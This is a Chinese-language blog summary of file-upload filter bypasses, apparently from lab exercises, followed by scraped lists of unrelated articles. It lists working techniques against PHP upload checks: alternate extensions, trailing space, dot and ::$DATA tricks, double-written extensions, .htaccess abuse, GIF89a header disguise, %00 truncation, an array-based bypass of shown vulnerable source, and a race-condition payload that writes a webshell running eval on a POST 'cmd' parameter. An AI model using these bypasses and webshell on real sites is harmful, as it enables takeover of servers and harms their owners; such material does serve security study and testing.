文件上传漏洞Bypass总结

前端JS验证文件类型:

上传后缀jpg,抓包改为php后缀

=========================================================================

黑名单:

========================================================================

content-type绕过

​ 后端仅判断content-type类型,可以通过抓包修改content-type值进行绕过

使用别名、大小写绕过

​ 使用php3,phtml等别名绕过。或大小写 Php等名称进行绕过

.htaccess

​ 先上传.htaccess 文件,指定将文件解析为php文件运行,然后再上传图片马

后缀加空绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.php ” //加了一个空格

后缀加 . 绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.php.” // 此方法只适用于windows系统

文件流绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.php::$DATA” //此方法只适用于windows系统

点空格点绕过

原文件名:filename=“info.php”
原文件名:filename=“info.php. .”

双写绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.pphphp” //后端只过滤一次时有效(非循环过滤)

================================================

白名单:

=====================================================================

文件头判断绕过:

后端通过识别文件头进行判断文件类型,一般使用GIF89a文件头进行绕过
原data:
<?php phpinfo();?>
修改后data:
GIF89a
<?php phpinfo();?>

00截断绕过:

前置条件:php版本小于5.3.4,且魔术引号关闭
实例一:URL中有保文件径

抓包发现URL有保存路径,可以通过修改保存路径控制文件的保存信息(需要修改type与file name)

修改保存路径后成功保存为PHP文件
实例二:body中有文件路径

        POST类型的00截断不能使用直接添加%00的原因是。GET方式的%00会被服务器解码成null,而于GET不同的是POST类型的需要先URL解码成null再发送数据包
操作成功

关于GET与POST不同的解释:
当path存在于URL或COOKIE中或不存在’enctye=“multipart/form-data”'字段的表单中时,后端会对提交的数据进行一次URLdecode,变成字符串结束符号。可以直接使用%00
当path存在于上传的body时,头部中有‘enctye=“multipart/form-data”'字段(不对数据表单数据进行编码),所以需要对%00进行decode后再上传

条件竞争(逻辑漏洞)BYPASS:

概念:
开发者进行开发时常认为代码会以线性方式运行,当多个线程并发时,会造成不可预料的后果
原理:
文件上传到服务器目录,再进行验证,若不符合条件则删除
思路:
先上传文件到服务器,再使用多线程并发访问该文件。若在上传完成到验证开始的阶段成功对文件进行访问,则可以占用当前文件资源,并导致无法删除。
实战:

payload:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_post["cmd"])?>');?>
// 脚本运行后生成新的脚本
实验源码大意:
将文件上传到服务器,服务器保存并开始验证,若成功通过验证则保存并重命名。若不通过则删除

设置线程后持续发送上传和访问的数据包



shell写入成功

Apache解析漏洞:

含有保存文件名与原文件名
这里利用Apache解析漏洞,修改save_name的值

​ 文件被成功上传并地址为

http://127.0.0.1/file/upload/taotao.php/

数组绕过:

实验源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
} $ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
源码中检测MIME的部分很好绕过
而if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
这部分将保存文件名分为数组,并储存到file[]中,而后检测数组最后一个值是否符合规范。通过检测后进行重新拼接
BYpass:
绕过的关键在于 ‘if(!is_array($file))’,使用手动构造数组的方式进行绕过.

成功上传

文件上传漏洞Bypass总结的更多相关文章

  1. 【原创】JEECMS v6~v7任意文件上传漏洞(1)

    文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...

  2. web安全之文件上传漏洞

    成因: 当文件上传时,若服务端脚本语言未对上传的文件进行严格验证和过滤,若恶意用户上传恶意的 脚本文件时,就有可能控制整个网站甚至是服务器,这就是文件上传漏洞. 权限: 1. 后台权限:登陆了后台,可 ...

  3. Web应用安全之文件上传漏洞详解

    什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...

  4. 文件上传漏洞演示脚本之js验证

    文件上传漏洞演示脚本之js验证 0 0       716   关于文件上传漏洞,想必玩web安全的同学们都有接触,之前本站也发布过一篇文章介绍文件上传漏洞的各种绕过方法,但是只是有文档却没有演示代码 ...

  5. 中国电信某站点JBOSS任意文件上传漏洞

    1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...

  6. CKFinder 1.4.3 任意文件上传漏洞

    CKFinder 是国外一款非常流行的所见即所得文字编辑器,其1.4.3 asp.net版本存在任意文件上传漏洞,攻击者可以利用该漏洞上传任意文件. CKFinder在上传文件的时候,强制将文件名(不 ...

  7. 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞

    手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...

  8. PHP漏洞全解(九)-文件上传漏洞

    本文主要介绍针对PHP网站文件上传漏洞.由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 P ...

  9. WordPress Contact Form 7插件任意文件上传漏洞

    漏洞名称: WordPress Contact Form 7插件任意文件上传漏洞 CNNVD编号: CNNVD-201311-415 发布时间: 2013-11-28 更新时间: 2013-11-28 ...

随机推荐

  1. 谈谈raft fig8 —— 迷惑的提交条件和选举条件

    谈谈raft fig8 -- 迷惑的提交条件和选举条件 前言 这篇文章的思路其实在两个月前就已经成型了,但由于实习太累了,一直没来得及写出来.大概一个月前在群里和群友争论fig8的一些问题时,发现很多 ...

  2. 有关类朋友圈设计(3) -- 数据库设计&现有技术&流程设计

    在写之前,先说说当前的系统架构吧 spring cloud + zuul + eureka + oauth2 + redis + rabbitMq 这个系统是由我搭建的,当时采用的springClou ...

  3. CodeForce-801C Voltage Keepsake(二分)

    题目大意:有n个装备,每个设备耗能为每单位时间耗能ai,初始能量为bi;你有一个充电宝,每单位时间可以冲p能量,你可以在任意时间任意拔冲. 如果可以所有设备都可以一直工作下去,输出-1:否则,输出所有 ...

  4. Php实现简易购物商城系统

    实现功能: 1.系统功能模块包括: 1)登陆注册模块 包括验证码.找回密码.注册模块中要使用Ajax判断用户名是否已经存在,使用正则表达式判断电子邮件.手机号和用户密码的格式是否合法. 2)用户管理模 ...

  5. C++ 飞行游戏

    源代码: #include<bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace ...

  6. python循环以及控制语句

    python流程 学习完本篇,你将会通过python完成以下题目 试利用break语句求解2-100之间的素数. (1)素数是指除了能被1和它本身整除外,不能被其它数所整除的数.判断一个自然数是否是素 ...

  7. PHP中国际化的字符串比较对象

    在 PHP 中,国际化的功能非常丰富,包括很多我们可能都不知道的东西其实都非常有用,比如说今天要介绍的这一系列的字符排序和比较的功能. 排序 正常来说,如果我们对数组中的字符进行排序,按照的是字符的 ...

  8. 关于当前PHP脚本运行时系统信息相关函数

    我们的 PHP 在执行的时候,其实可以获取到非常多的当前系统相关的信息.就像很多开源的 CMS 一般会在安装的时候来检测一些环境信息一样,这些信息都是可以方便地动态获取的. 脚本文件运行时的系统用户相 ...

  9. 一起学习PHP中断言函数的使用

    原来一直以为断言相关的函数是 PHPUnit 这些单元测试组件提供的,在阅读手册后才发现,这个 assert() 断言函数是 PHP 本身就自带的一个函数.也就是说,我们在代码中进行简单的测试的时候是 ...

  10. 环形链表II

    题目描述: 给定一个链表,返回链表开始入环的第一个节点. 如果链表无环,则返回 null. 为了表示给定链表中的环,我们使用整数 pos 来表示链表尾连接到链表中的位置(索引从 0 开始). 如果 p ...